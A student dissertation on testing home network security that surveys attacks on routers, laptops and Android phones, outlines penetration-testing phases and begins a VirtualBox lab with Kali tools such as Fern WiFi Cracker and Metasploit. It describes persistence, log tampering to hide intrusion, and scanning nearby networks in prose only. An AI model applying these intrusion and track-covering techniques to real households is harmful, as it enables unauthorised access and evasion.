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ABSTRACT/SYNPOSIS
This project is all about trying to hack into a home network, the objective is to hack into one gaining access to the network and maintaining the access. What will happen in this project is carry out a study by hacking into a WAP (wireless access point), a laptop/computer and a smart device which will be a Smart Phone aka Android. All three scenarios (WAP, Laptop/computer and Smart device) will be done virtually using “Oracle VM VirtualBox”. 
All scenarios will be done using a virtual network set up on Oracle VirtualBox, this will be done using the operating system Kali Linux, the reason for this operating system being chosen is because it comes with pre-installed hacking tools which will be used to hack into all three scenarios. 
The reason this project has been chosen is because there is a constant increase in smart homes being developed and smart devices being installed into readymade homes. It is becoming a trend for people to do this because it makes everyday life a lot easier. However, because of this happening there is also a rise into hacking, where normal families are being targeted by the hackers and they are not sure what to do to prevent this. The point of this of this project is to show people how easy or hard it is for a normal hacker to be able to hack into a normal home using easy vulnerabilities to exploit the network.
Scenario one was done within a Oracle virtual machine using kali Linux operating system, the Wap was set up and the hack was done using a hacking tool called” Fern Wifi cracker. Scenario two was done the same way just using a windows computer and the hacking tool Metasploit was used for this hack as well as the third hack, but the target was a smart phone which was using android.
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Title
Testing the Security of a Home Network (HN)

[bookmark: _Toc101792273]Project Background
My project is all about testing the security of a Home Network. This project will show others how easy or hard it is for a hacker to be able to gain access to their home network. This project will have 3 scenarios/targets which are a Wireless access point, Laptop, and a smart device. This project will cover vulnerabilities within a people’s network and how to address the situation and fix them. The way the project is going to happen is by setting up a virtual network using “Oracle VM Virtual machine” setting up a virtual network and using Kali Linux to target the router and laptop scenarios, but with the smart device attack this is yet to be decided to be done virtually or physically. 
The motive for this project and hackers targeting households is because there is a continuing rise in numbers of households adopting smart devices into their home network, in 2021 there was a “41.9%” rise of US households will use a smart home device. by 2025 it will rise to “48.4%” it is projected that new smart home households will slow but existing households will continue to adopt new smart devices slowly converting. [1]
Statistically speaking 57% of Britain’s homes which is 66.44 million has a smart device in 2018, apparently 8% of percentage owns 2 or more smart devices. There is an estimation of 2.22 million smart homes in the UK. Smart homes consist of a smart hub which is connected to 2 devices or more which can be bulbs, smart plugs, and others. [2]
Because of the rise in smart devices being implemented in homes and smart homes being built, there has been s significant rise in hacking as well. The problem lies with IoT devices, if a homeowner was to implement any IoT devices into their home network then they are creating a potential point of entry into their network, and this can be taken advantage of by a cybercriminal/hacker. A recent study was done by setting up a smart home with various smart devices around the network. This study found that with a normal smart home set-up there were various cyber-attacks attempts (12,000) per week. [3] 
The main aim for this project is to discover how easy/hard is it for a hacker to manipulate a homeowner’s network and maintain that access to the network. It will be done by showing common vulnerabilities to people and how to stop these from being exploited by the hackers. The reason why this project has been chosen is because smart homes are or have become the common trend to date, people are not going to stop, if anything it is going to continue to be a trend (Smart Homes/Smart Devices) and people need to be aware of the common issues and threats that are to come. 
[bookmark: _Toc202288058][bookmark: _Ref202288793][bookmark: _Toc266447525][bookmark: _Toc371255529][bookmark: _Toc101792274]Aim
The aim of this research is to attempt to hack a HN to test the security features of the system and devices in order to find and exploit vulnerabilities and offer recommendations for securing HNs.

[bookmark: _Toc266447526][bookmark: _Toc371255530][bookmark: _Toc101792275]Objectives
The main objectives are as followed: -
Perform a review of existing research on HN, Smart devices, the security features which are involved, and hacking tools and software which are used in hacking such networks.
Create a hybrid virtual/physical network with connected physical HN devices.
Attempt to find and exploit vulnerabilities within the home network using the chosen tools and methods and report the results.
Offer recommendations for securing HN based on findings.

[bookmark: _Toc202288059][bookmark: _Toc266447527][bookmark: _Toc371255531][bookmark: _Toc101792276]Structure Of the Project
Section One – Is a complete overview of the project that is being conducted. This includes the title of the project which is “Testing the Security of a Home Network (HN)”. A Project Background, which identifies the issues at hand, and the reasoning for the project being selected and why it is worth doing. Finally, this section covers Aims for example what is the aim for this project, and Objectives, which gives an insight on what needs to be done to get this project done, how will it be conducted/competed.

Section Two – Consist of Research and Literature Review, this section is all about gathering the necessary research which is relevant to this project. The main aim is to gather a good amount of research, gain a better understanding of the topic, which will help later with having that better understanding of how things work. Also widen the knowledge of tools which are used in a day-to-day life of hacker, knowing which tools are used and where to use them. Another key point of doing this is knowing where each vulnerability lies, in which when the project is being done, I will know where to look.

Section Three – Is all about the Research Methodology, and this is where the research onion comes into play. The reason for using research onion is because it breaks down to the way to the project would be down and gives the reader a clearer path to how this project has been conducted.

Section Four – The Design & Implementation phase covers the design of the network; a diagram has been created to show a map of the virtual network. The Implementation part goes through how the project will be done physically, going through step by step and how the project would be a success or failure. 

Section Five – Covers Testing & Evaluation phase. This is where the project is conducted, and the results are evaluated. Was it a success or was it a failure? This section will possess screenshots of the project being done, showing how it was done, what tools were used and so on.

Section Six – Is the Conclusion & Recommendation phase, this is where the conclusion is made about the whole project, things are explained afterwards in a clearer sight, and recommendations are made on how to make your network safer or the devices within them

Section Seven – A Reflection is where the writer can input their thoughts on the whole project, for example what they think about the project, how it went and any ideas on improvements, which it could have made it better or more of a success.
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[bookmark: _Toc101792278]Wireless Access Point
WAP’s are one of the most common devices out there, because it is an essential device for a household to receive a functioning network connection. One of the most common issues is that a lot of Households have UPnP “Universal Plug and Play” WAP installed in their household. The reason for UPnP being so popular is because the network connectivity will allow different types of devices for example wireless devices, as well as applications. The UPnP is simple in terms of setting up, all the user has to do is connect the devices wirelessly or via ethernet cable and it will be ready to use, the user does not have to go through the hassle of manually configuring both devices. The reason for UPnP existing is to make it easier for users to add devices to their network, but his comes with an issue, it also adds a security vulnerability, the device does not implement authentication or authorization, even though there have been many concerns of this before. [4]
In today’s world WAP are one of the first encounter an attacker would face in the attack, the attack would start externally and would aim an attack at someone in particular or a business, there is always a reason for this attack something that would motivate this would be ransom. As previously stated, the attack would begin with the WAP, the very first device they would come across to gain access to the network. Even though the wireless access point is the first line of defence, the device has its vulnerabilities which fall under software, hardware and even configuration errors exploited by attackers. [5]
Most Home Wi-Fi access points would provide a web application, in which the admin would have the ability to configure them. The issue with this is the web application would be subject to an SQL injection attack or buffer overflow [6]. Unfortunately, these attacks are not avoidable with the simplicity of changing your default password of the device, but these attacks can be more difficult to implement, because the manufacturer do launch newer versions of firmware on their websites, these are launched with the intent of fixing bugs and other vulnerabilities. If the device is not secured or protected like it should be, then the router itself can be compromised easily by the attacker, and the attacker would have the ability to leak confidential information about the user or their business, then the attacker can turn this attack into a ransomware attack. Another step the attacker can consider is using the router to be a part of botnet to perform a Distributed Denial-of-Service (DDoS) attack. The attacker could perform an attack by intercepting the data being sent and received, this data could be sensitive especially if it being sent in terms of business. Something else the attacker can do is use the internet connecting and hijack bandwidth. [7]
One of the major security features that hackers face is a firewall, it is clearly stated that network security solutions are getting more and more sophisticated every day, in which protection is getting better and better, and all of this happening in an affordable solution too. 
[bookmark: _Toc101792279]DPI Attack
One common attack is the “Encrypted Injection Attack” people who have older firewalls or those who do not use a feature called “Deep packet inspection” (DPI), are at risk from this attack because their firewall will monitor incoming and outgoing packets which contain malicious code, malware and other threats to the network, however encrypted injection attacks are usually delivered via email. The email will trick the user into clicking a link within the email, and that will inject encrypted code onto their machine, this can be typical malware, fileless malware or even some kind of access backdoor allowing them to come and go when they please, but also the phishing link may also ask the user for some kind of login credentials as well as delivering the encrypted payload for a cybercrime. [8]
Another attack would come under “Neighbour WI-FI Access Points” attack. However, it does not resemble the same scenario because it would determine a co-worker to unconnected from the business internet and connect to another business where the hacker would have the ability to attack that device, then that co-worker would then be the carrier of the attack, because when they reconnect to the business network the hacker has access to the whole network. In my project the scenario would be the homeowner would go out somewhere connect to a coffee shop’s WI-FI, this would give the hacker the ability to launch an attack on the homeowner’s device. Then they would go back home and connect to their network. That is where the hacker has access to the whole network and would have the option to leave a backdoor where the hacker can come and go as they please. 

[bookmark: _Toc101792280]IOT Attacks
The problem with IOT devices is that devices are “Internet-Enabled”, because of this feature anyone can connect to this device via the internet including hackers, but the best thing about this is the security feature and that the device is connected to the network as well. The IoT device is basically a safe passage into the network. [8]

[bookmark: _Toc101792281]Social Engineering Attacks
Social engineering is a term used for a range of malicious activities which done through human interactions, it would be done by manipulation and tricking the user into making security mistakes or even giving away sensitive information to the attacker. They would use techniques such as request vanity, offer expertise advice [9]. The usual social engineering attack techniques are as followed – 

Baiting – implies baiting attacks with false promises with the intention to pique the victim’s greed/curiosity. The attacker lures the victims into a trap and then steals their personal information or inflicts their systems with malware.

Scareware – involves victims being ambushed with false alarm and fictitious threats. The user is then deceived into thinking their system in infected with malware, this would then cause the victim to install software which has no benefit to them or is malware itself [10].

Pretexting – is when the attacker obtains information from the victim through likes and gaining their trust by acting as the police, bankers tax officials even. The attacker would gain their trust, then gaining the information necessary/ needed to carry on with further attacks.

Phishing – phishing attacks are used with the intention to steal users’ sensitive information, this can be usernames, passwords, bank details, credit card details [11]. Phishing attacks are very commonly used by hackers because the attack can be useful and successful. Phishing attacks are commonly found in emails disguised as trustworthy sources like your bank or social media, and trustworthy connections such as friends or colleagues.

Spear Phishing – is a more tailored attack, the attacker would have its target and tailor it to make it more characterised towards the victim [12], making it more perceivable, increasing the likelihood that the victim will fall for the spear phishing attack. 

[bookmark: _Toc101792282]Laptop/Computer
Laptops are another common device which is vastly used across the world, for many uses personal, business and so on. As laptops are commonly used for many purposes and contain a lot of data about the user, this is enough to motivate a hacker to try and compromise the device for their own self greed. Data is getting generated in different ways by various end points for example laptops, computers and IoT devices. There is always a high chance that the threats will exploit the vulnerabilities within the devices. There are steps which can be taken to avoid certain attacks but not all. Some hackers would attempt to intercept people’s network, in which they would gain access to data steal the sensitive information and would carry out malicious activity. Any devices that are connected to the internet are vulnerable to cyber-attacks, this could lead to security breaches, credentials being stolen, malware attacks, DDoS attacks, man-in-the-middle attacks, and common ransomware as well [13]. The only way for someone to prevent this is to have proper security controls in place and even with them in place, it is still possible to bypass them.
When the individual person has a laptop, it is one of two things its either used for personal use, and the laptop can contain personal and sensitive information about the individual themselves which is enough motive for the hacker to target this person, or the laptop can be used for business purposes which again can contain very important information about the business its self and about the businesses clients/customers, and again that is more than enough of a reason for hacker too attempt to hack and compromise your device. When the laptop is used at a household on their own network, the laptop is at its most vulnerable because they are not at the office and the business have security protocols at place, but when at home those protocols are not in place and are ideal targets for hackers. The ideal attack would be the trojan horse style [14]. A trojan horse attack is designed to attack the system causing absolute chaos while being undetected, the attack would read passwords, record activity by the user, and opening paths for more malware to attack the device, taking the entire computer hostage [15]. Looking at the attack in more detail, the damage it does is deleting data, blocking data modifying data copying it and the attack would disrupt computer performance and slow down network speeds making the computer hard to work with. However, there are different Trojan attacks, one being the “Backdoor Trojan” is a malware type which gains remote access to resources within the system, the hackers then can remotely issue system commands and update malware [16]. Another is a “Trojan Exploit”, this attack is typically injected into the system via phishing emails or a harmful software application [17]. As soon as the trojan exploit attack has been injected into the system, it will either cipher the information on the computer or will prevent the system from working as it should. The attack will then demand ransom money to the user, and once paid will then give a guide to the user on how to decrypt the data within the computer system. There are many more trojan attack types which do so much more they are as follow: -
Rootkit
Banking Trojans
DDoS Trojans
Fake Antivirus Trojan
Trojan-IM 
Trojan- Ransom
Trojan SPY


[bookmark: _Toc101792283]Smart Devices/ Smart Phone
It is very easy to attack Home Network “HN”, simply because their vulnerabilities within the system. Even though it sounds like a great idea to add smart devices to your network, it also comes with invitations for people to try and attack it. Unfortunately, some people may enjoy the challenge of trying to hack into a system, some people would do it as it is a hobby for them, but also would do it as a malicious way for their own personal gain. These people are called “Hackers”. [18]
One common issue that people do when they receive their Router is not changing the username or password. This is an issue because devices such as routers which still use factory default usernames and password are easy to manipulate. If this can happen to big companies such as “botnet of “hacked home Internet routers” was used to disturb the gaming networks of Sony and Microsoft in the end of 2014” [19]. When adding new devices to the home system, it is always recommended to change the username and password to something unique to yourself as the user, thus way it is harder for people to gain access to this device, the first thing the intruder will do is by trying the defaults to gain access, so by doing this gives the device a slimmer chance to getting hacked. [19]
Some Smart devices will always have their vulnerabilities. For example, a smart phones will always be targeted because they hold so much sensitive data about their users, another example is a toilet within a water system would only have a default Bluetooth password, which can be accessed by anyone who has a smartphone, they would have the ability to control this device, but only if they have the free app [19].
[bookmark: _Hlk90024948]The issues that Hackers encounter these days is that smart devices which are part of the IoT (Internet of Things) are that they are always trying to improve the security features, especially smart phones they are becoming harder and harder to hack because the big companies like “Samsung and Apple” are implementing better security protocols, always improving the security aspect of their devices every year. The reason for this is because the market for Smart devices/IoT is only growing more and more. “Connected devices around the world will dramatically increase from 20.35 billion in 2017 to 75.44 billion in 2025” [20]. However, with the growth of Smart devices and IoT, comes a more serious problem and that is the growth in cyberattacks. Cyber-attacks are going to improve, becoming a serious threat to companies as well as individuals in their homes. [20] 
There are many ways that hackers can manipulate devices within the home-network, they may not even have to manipulate the devices, they could essentially use the homeowner as a way into their home this is known as “Social Engineering. Another way that this can be done is by infecting their mobile device that way when the phone connects to network there is a passage to the network. However, the home system is the more common way to gain access to the house. For example, in a Smart home, a hacker could potentially turn off a smart plug and that maybe their route into the house: this would turn off the air-con in which the temperature of the house would then rise, which would trigger the house thermometer to go past its threshold in which would then trigger the windows to open automatically, this would give the hacker the safe passage into the house (see figure 1) [20].
[image: ]
[bookmark: _Toc90022074][bookmark: _Toc102124071]Figure 1 - Example of infiltration of home system [20]
[bookmark: _Hlk90025087]This is an example of how easy it can for hackers to gain access to a house where a vulnerability is present. However, the hackers would most likely take a different way. Some Black Hat hackers are more likely to compromise the network and gain access to the CCTV, in which then the hackers would monitor the house through the CCTV and get an idea of the homeowner’s schedule, in which they will know when the best/worst time is to break into the homeowner house and not get caught. [20]
[bookmark: _Hlk90025110][image: ]The reason for this happening is because everyone is following the latest trend, and that is making your home smart. The reason for this happening is because it is affordable and makes everyone’s lives a lot easier, but to do this and have a smart home means having devices throughout your house such as smart lights, “HVAC” (Heating, Ventilation, Air Conditioning), Cameras and doorbells in which is connected to a central device something like Amazon Alexa, Google Home or Microsoft Cortana, and that is where the problem lies, the central device is connected to the internet, it acts as the gateway to the network of devices throughout your house. The Home system gateway is in control of all the devices using the local network and is always communicating with the devices within the network, that way the user is then able to use the home system to control the devices within the network using the mobile application associated [21]. Simply because the gateway device is connected to the WIFI and has direct access to the internet, this is where the hackers are going to focus their energy on, the reason for this is because if they get through there are a few possibilities and options, they can take advantage of, for example the HVAC, Cameras, Ring Doorbell and so on. [21][bookmark: _Toc90022075][bookmark: _Toc102124072]Figure 2 - Network Map [21]

[bookmark: _Hlk90025196]

One of the most popular devices around these days are smart phones, they are pretty much a bank for data because a smart phone will hold large amounts of data about their user. A normal person smart phone would hold their email, phonebook (which could contain their address), social media, photo’s, banking app and much more, these alone are huge motivational reasons for a hacker to want to hack your personal smart phone, they could steal your data and use it for their own ort sell the data on making profit from it. Over the years with smart phones becoming more and more improved upon there are concerns for their security. Smart phone operating systems is the most important core component of the smart phone, the reason for this is because it provides third party application programming interface, which is based on the smart mobile. There are many important characteristics about the smart phone such as “Flexible operations, multitasking and real-time response” [22]. Smart phones are the latest multipurpose gadget in which people are becoming addicted with, a survey which was taken and showed that android is dominating the smart phone market with shares of up to 82.8% back in 2015 [23]. The android phone is open source based on “Linux kernel” and because of this it gives the developers opportunities to develop and improve the platform. It is said that security developers would use different types of SDK tools which like Android SK manager, AVD manager and many more using Java programming language because it is well suited to this application. The android architecture as we know are split into 5 major parts, these are “Linux Kernel, System Libraries, Android Runtime, Application Framework as well as Application Layer.
Unfortunately, in today’s cyber world there are many cyber-attacks undergone against major businesses as well as individuals and families, hence for this project being done to show people how easy it is to attack a home network. Smart phones are improving every year with capabilities as well as security, however it is still going to have security vulnerabilities because they will constantly be targeted by the hackers. Back in 2016 there was an android version 6.0 which was known as “Marshmallow which was released to the market and this version again running on Linux kernel version, and the good thing about this is that version would handle security management for the androids operating system, once again improving the security aspect of that smart phone. 
One of the most important security aspects of the smart phones which are androids is their security architecture, it represents the security issues which is associated with android’s applications, the main aim is to isolate any app data and codes which come from outside apps which are downloaded by the users. The way the developers did this was by giving each app a unique user ID, and this concept is known as a privilege separation in hindsight that would not give the application any permission to access any other application within the smart phone device. [23]
The architecture helps the developers to develop various android applications, and in this case android and the developers can create any android application and place them within the market, but then these applications are self-signed and have no reviews, in which cannot verify the safety on the application, because the user can be trapped into downloads malware which is a major safety concern for the smart device [24]. This is hacking tools can manipulate users by having them download payload which can be generated by MSF-venom and Metasploit, which would result the users in download malware and tr hackers would have control of their targets device, which in this case would be their smart phone android




[bookmark: _Toc371255541][bookmark: _Toc101792284][bookmark: _Hlk99094591]RESEARCH METHODOLOGY
The hacking methodology that has been selected for this project is the Penetration methodology. This methodology is used by most penetration testing professionals because it works efficiently. There are 6 stages to this methodology, and all are very important stages. These stages are: -
[image: Chart, bubble chart

Description automatically generated][bookmark: _Toc102124073]Figure 3 - Hacking Methodology [25]












· Reconnaissance – The first very step in a penetration methodology is “Reconnaissance”, before performing anything penetration testing this step must be taken, the hackers would footprint the system gathering as much information they can about their targets. Reconnaissance is considered the preparatory phase which is when the hackers would document valuable information about their targets such as configuration details, login information, probing the network and so on. [26]


· Scanning – In this stage the hackers would begin to by testing the network and the devices on that network such as laptops and smart devices, the hackers would do this to identify the potential breaches they could exploit, this  can be done by using scanning tools such as “Nmap”, the main goal is to map out the network, to discover network topologies, the host machine information, discover what router and switches are used within the network and what firewalls are in place. Another important part of this phase is the port scanning, hackers would use essential tools to find vulnerable ports which are left open to being exploited. Finally in this phase is the vulnerability-*- scan, what hackers do is use automated tools to scan and detect weaknesses which are capable of being exploited by their attacks. [26]


· Gaining Access – This is the third step in the methodology and is all about gaining access to the targets network. The aim for the hackers is to expose and exploit the administrative access, and now they intend to send a malicious payload to the target’s devices through the network. The hackers would typically use a various amount of hacking tools as well as techniques to attack the target, of course this would be unauthorised access, but they would use things such as Buffer Overflows, phishing attacks, Injection attacks and many others. If the hackers are successful, then they will have full control of the network, they will also have the option to simulate further attacks such as data breaches and DDoS attacks. [26]


· Maintaining Access – The fourth stage of this methodology is to do with maintaining access to the network. Once you have gained access you want to maintain it, ensuring your able to come and go as you please, pre planning for future uses. In which gives them to ability to exploit the system for further vulnerabilities and escalate things further, seeing how much they can push their luck, this can be done using trojans and Rootkits or other malicious files. [27]

· Clearing Tracks   - This phase is the most Important, the reason for this being the vital stage is because you do not want to get caught, so this phase involves clearing all evidence of there being an intrusion in the first place, which means modifying files corruption them or deleting them, modifying the logs and registry to show you weren’t there, as well as removing the application used, which removing them from the files so they aren’t found in the future. [27]


[bookmark: _Toc101792285]Research Onion
Research onion is a research method, which was initially designed to help students to create a better and more organised methodology. By following research onion, it would illustrate and explain the different ways and different elements which should be covered in a dissertation. As you can see from the diagram below there are various elements within the “Research Onion” which needs to be explained within the dissertation. [28]

[image: Chart, sunburst chart

Description automatically generated]These elements will be covered within the following: -[bookmark: _Toc102124074]Figure 4 - Research Onion Diagram [29]










[bookmark: _Toc101792286]Methodology
[bookmark: _Toc101792287]Research Process –
The research process has two scenarios which are “Inductive process and Deductive process”. This research would have to cover the project, which is being done in this report, in which the quantitative would be the best solution for this situation. 
Inductive – The inductive process goes in stages which are (Observation, Pattern, Hypothesis and Theory). It starts from research driven questions and then the data is collected and then it generates the results, which then brings them to hypothesis and theory.

Deductive – The deductive process goes in stages which are (Theory, Hypothesis, Observation and Confirmation/rejection). The deductive research starts off with research, and then moves onto theory, then hypothesis, and then data is collected and then comes the analysis results.

The quantitative research method is a lot more beneficial for this project as the method is normally used for projects. The process that is much better for this project is the Deductive process as the stages are more aligned with the project and is better suited, going forward the “Deductive Process” will be chosen for this project.
[image: ]









[bookmark: _Toc102124075]Figure 5 - Inductive v Deductive [30]

The inductive Process begins with observation, the person undergoing this project will observe the work being done recording the results of the attack was it a success or failure. Next stage would be pattern, if it did not work why, how did it work and record the result, if it failed again record the patter find out why it failed, fix the issue and go again until it works. Next there is an explanation based off the theory with limited evidence to prove this study or support it, and then a starting point to further support this theory. [31]

[bookmark: _Toc101792288]Research Philosophy
Research Philosophy is the first stage you encounter in the research onion process and contains four different Scenarios which are very important. They are “Positivism, Realism, Interpretivism and Pragmatism”.
Positivism – is directly related to the objective, under this the researcher is only interested in the general information gained from the project to get to the main goal and gaining success. [32]

[bookmark: _Toc101792289]Research Methodology
Quantitative Research is the process which is taking to collecting results and analysing them accordingly. This process can be used to find patterns, make predictions and testing, which will generally give you results which you may or may not expect. [33]
Quantitative research is widely known and used in the natural and social sciences as well as many other fields.

[bookmark: _Toc101792290]Philosophies
Positivism is again related to the objective at hand. The person undergoing this project will only be interested in data gained from the project, which will result in a success or failure to this project.

[bookmark: _Toc101792291]Approach
The inductive process goes in stages which are (Observation, Pattern, Hypothesis and Theory). It starts from research driven questions and then the data is collected and then it generates the results, which then brings them to hypothesis and theory. This method is better approach as it aligns nicely with my project in terms of stages to be taken. 

[bookmark: _Toc101792292]Strategies
The strategy chosen for this project will be experiment. The reason or this strategy being chosen is because it is the only one which seems reasonable to go alongside with my project. 

[bookmark: _Toc101792293]Choices
The choices being chosen within this project will be multi-method. The reason for this is because there will be many different methods taken to hack the chosen targets. There will be 3 chosen targets which are the “Router, Laptop/computer and smart device”, and there will be different hacking methods used to complete the project.

[bookmark: _Toc101792294]Time Horizons
Cross Sectional has been chosen for this section because it relates to the work that is being done for example the study takes place at a single point in time, and because it is an observational study which goes along nicely to what the person must do within the project at certain times. [34] 

[bookmark: _Toc101792295]Techniques and Procedures
Techniques used to complete this task would be using a suitable operating system which is kali Linux, and because of this it comes with hundreds of pre-installed hacking tools. One tool that is going to be used is “Fern WIFI cracker for the wireless access-point another one which will chosen to use is MSF-Venom and Metasploit-Framework, if that doesn’t work then possibly John the ripper to crack a password for example laptop, but also again MSF-Venom and Metasploit would also be used for the Smart device which is a smart phone android. Expected results will be three successful hacks, but two would be a good result as well. 


[bookmark: _Toc101792296]Overview of tools 
The project will mainly be done using “Oracle VM VirtualBox using Kali Linux, the best thing about using Kali Linux is that come with many pre-installed tools. Kali Linux is a Linux based open-source operating system which allows users to use tools for penetration testing and Ethical hacking. The tools are as followed: - 

· Fern Wi-Fi Cracker - is a WIFI hacking tool which is pre-installed on kali Linux, this tool is highly used by hacker as well as security professionals. The program has the ability to crack and recover WEP/WPA and WPS keys, giving the user the password instantly, as well as saves any previous jobs so if you need to go back and gain a key/password it will be there. This program also can be run on other networks-based attacks, wireless or even ethernet based networks. [35]
· Armitage - which is a collaboration tool which works with Metasploit and discovers targets finds and recommends exploits/weaknesses and will expose them. [36] 
· Nmap - Nmap stands for Network Mapper, this tool is commonly used within the ethical hacking industry, and most likely used by Hackers as well. Nmap is a utility tool, in a sense it is an active reconnaissance in which it will find holes/vulnerabilities within the network, which the hacker can then use. The tool supports Ping scanning finding which hosts are up which is part of port scanning techniques. [37] 
· Metasploit-Framework - Is another common tool used today by Security Professionals, ethical hackers, and hackers in general. Metasploit framework is aa powerful tool which finds vulnerabilities on the network and exposes them. Metasploit Framework is an open-source platform and can be used in creating security tools as well which can be beneficial. [38] 
· BlueSnarfer – Is another commonly used hacking tool, this hacking tool is used to exploit Bluetooth connections, and the tool snatches the data from a wireless device which has Bluetooth enabled.
· John the Ripper- Another popular tool used within the Security industry. Ethical hackers like to use this tool because it detects weak passwords that could be at risk. The tool is designed to help find weak points in the system, one of these can be weak passwords, the tool will try and guess or will crack it using brute force, a very exiting tool which is used commonly. [39] 
· Wireshark – A popular tool used again by ethical hackers and penetration testers. The tool Wireshark is a network sniffer, and is designed to analyse the packets it finds, these packets contain data like where they came from where they are going (IP) and the protocols that have been used. The packets usually contain extensions such as “.pcap”, and this can be read/exploited using the Wireshark tool. [40]
[bookmark: _Toc101792297]Design & Implementation
[bookmark: _Toc101792298]Design
This project is being done with scenarios, the goal is to hack 3 different targets which are “WAP, Laptop/Computer and a smart device/Smart phone”. All three of these devices are going to be done using a virtual network. As you can see from below there have been two diagrams supplied, one showing the virtual network and the other is the physical aspect. 
[image: ]
[bookmark: _Toc102124076]Figure 6 - Diagram of Virtual network

[image: ][bookmark: _Toc102124077]Figure 7 - Diagram of another Virtual Network for the Smart Phone Scenario




[bookmark: _Toc101792299]Virtual network
With regards to virtualisation in this project, as previously stated all three of the scenarios will be done virtually using “Oracle VM VirtualBox” I will be using this software to set a virtual network adding a couple of computers/laptops, and one of them will be using “Kali-Linux” as the designated hacking system, the hacker will use this system to hack the other devices “Laptops and Computers”. Also, a “USB Wi-Fi adapter” has been purchased, this will be used while using the virtual network to discover a WAP and hack it. To do this all-ISO files will need to be downloaded and implemented into oracle VM VirtualBox, for example The kali Linux ISO file will be downloaded in order to create a Kali Linux VM system, the same goes for Windows and android ISO Files.

[bookmark: _Toc101792300]Hardware
Hardware needed to complete this project would things like a laptop or PC to be able to download “Oracle VM VirtualBox” a USB Wi-Fi adaptor to discover other WAP devices. Another piece of hardware needed is the Wireless access point device to discover as one of the scenarios.












[bookmark: _Toc101792301]Implementation
With regards to implementation there is going to be 3 scenarios to complete. The first one being the WAP hack, then the laptop/computer hack and finally the smart device hack which is going to be a smart phone Android. The first part of the project which will be tackled is the WAP hack, first things first is downloading the latest Oracle updates and creating a machine with Kali Linux OS on it. Again, the reason for choosing this operating system is because it is recommended for hacking and because it comes with pre-installed hacking tools which are perfect for these scenarios. Once the VM machine is set up with everything, the next step is to set up the wireless access-point somewhere physically within my work area and once that is done, it is time to connect the USB Wi-Fi adaptor, when that is plugged in to the laptop there will be a pop message asking the user to connect it to the laptop or to the VM machine, of course it will be the VM machine, in which the user is all good to go to start the hack with Scenario 1 “Hacking a WAP” . The tools chosen to be used to try and hack the wap will be first “Fern WIFI Cracker” if that is not successful then I will turn to the next tools which are “Aircrack, Wireshark and Wifite”, all of these tools are highly recommended and are used on a daily basis by professionals like “Penetration Testers” as well as hackers in general. Next is scenario two which is hacking a laptop or computer, this will also be done within “Oracle VM VirtualBox” and luckily it has been installed with the appropriate machine done and operating system in place, again luckily Kali Linux comes with pre-installed hacking tools, the first thing to do is set up other virtual machines within the virtual network. Once everything is set up appropriately, next is to begin the hack, and the tools which will be used are “Metasploit, Nmap, John the Ripper and Aircrack”. The third and final scenario is the smart device hack which going to be done to a Smart phone device, first things first is setting up the virtual network again, the ISO file will need to be downloaded once more but luckily the kali Linux will be set up ready to be used. Once everything is set up on Oracle the hack can begin, again the pre-installed tool which is going to be selected for this scenario is again “Metasploit/MSF-Venom” this tool is used regularly in the cyberspace as well as by security professionals and there are plenty of guides on how to use the tool. If that does not work, there are other hacking such as “BlueSnarfer” and so on.   


[bookmark: _Toc101792302]Testing and Evaluation
Results of hacking
[bookmark: _Toc101792303]WAP Hack 
[image: A picture containing indoor

Description automatically generated]First things first, is setting up the target, which involves ordering the product and once it arrives. The setting up, powering it on and establishing a connection which is suitable, which is a simple patch cable from the switch to the WAP. The wireless Access Point was ordered in place for this project. The WAP (Wireless Access-Point) is more than suitable for this project and the attack can be done the same as accordingly because both devices work with Wi-Fi. So, the device chosen for this device is a TP Link – wireless access-point which was ordered from Amazon and is fully functioning and is set up ready for this attack. The device is set up in the same room as the attacking laptop is in ordering to achieve a full connection when available and any problems can be fixed physically if needed.[bookmark: _Toc102124078]Figure 8 - TP Link Wireless Access-Point




[image: ]
[bookmark: _Toc102124079]Figure 9 - Changing Default Password
After setting up the TP-Link, I went to the password page and changed the password from the default password to something more a lot more complex. I have covered part of the password because I want to show you how too get the full password using a password cracking tool named “Fern WIFI Cracker”. 



[image: VirtualBox - Wikipedia]
The next step is to set up the laptop, which involves downloading the latest version of “Oracle VM VirtualBox”. The reason for this is because Oracle VirtualBox is one of the most popular virtual machines software’s out there today and is constantly being used.




[bookmark: _Toc102124080]Figure 10 - Oracle VM VirtualBox


[image: 1.6. Starting Oracle VM VirtualBox]
[bookmark: _Toc102124081]Figure 11 - VirtualBox after installation
Once the program is installed, it comes bare with no machines installed. That is where I would have to go on and download the Kali Linux ISO file from their website. Once that is done, I would have to implement that into the VirtualBox program and make the necessary changes needed, for example giving it more RAM and so on. Once the Kali Linux machine has been set up, that machine is one to be used to do the hacking. 

[image: Graphical user interface, text, application

Description automatically generated]
[bookmark: _Toc102124082]Figure 12 - Kali Linux Machine Installed
As previously stated, had to download the appropriate Kali Linux ISO file directly from Kali Linux’s website, once downloaded, then I could create a new virtual machine with the ISO file and make the appropriate changes within settings such as increasing the RAM storage and other necessary changes.
Next up is to start the machine to ensure it works accordingly.














[image: No description available.]In which it did nicely, next steps is to go through the set up process which you can see on the next screenshot.[bookmark: _Toc102124083]Figure 13 - Linux Machine Start-Up


[image: No description available.]
[bookmark: _Toc102124084]Figure 14 - Start-Up Process
Just going through the start-up process, stating the language as English, stating the keyboard configuration as English again, then some installs are done via the machine. 











[image: No description available.]
[bookmark: _Toc102124085]Figure 15 - Continued Start-Up Process
Next in the start-up process it asked for a hostname in which the name “Kali” was entered. It was changed afterwards, later it asked for user’s name which I entered as kali@kali












[image: No description available.]
[bookmark: _Toc102124086]Figure 16 - Setting up a Password
Making my way through the start up process, now setting up the Password.

Kali123











[image: No description available.]
[bookmark: _Toc102124087]Figure 17 - Installation Complete














[image: No description available.]
[bookmark: _Toc102124088]Figure 18 - Set-Up Complete
The set-up process has been complete next is to logging and confirm everything is working accordingly. 

[image: Text, whiteboard

Description automatically generated]The reason for buying this device is because it supports monitor mode and packet injection [bookmark: _Toc102124089]Figure 19 - USB Adaptor for Kali



[bookmark: _Toc102124090][image: ]Figure 20 - When Connected
Once the Alfa was connected a prompt message appeared asking if I wanted to connect the device to the real laptop or the virtual machine.

















[image: ]
[bookmark: _Toc102124091]Figure 21 - Opening Fern Wi-Fi Cracker
Once everything was all done and ready for the hack, the first thing to do was go through a couple of hacking tools such as “Fern Wifi cracker”. 


[image: ]
[bookmark: _Toc102124092]Figure 22 - Selecting All Channels
I instructed the tool to scan all channels around, to detect any devices around which can be cracked.

[image: ]







[bookmark: _Toc102124093]Figure 23 - 22 devices were detected


After the scan the tool detected 22 devices around the area.






[image: ]
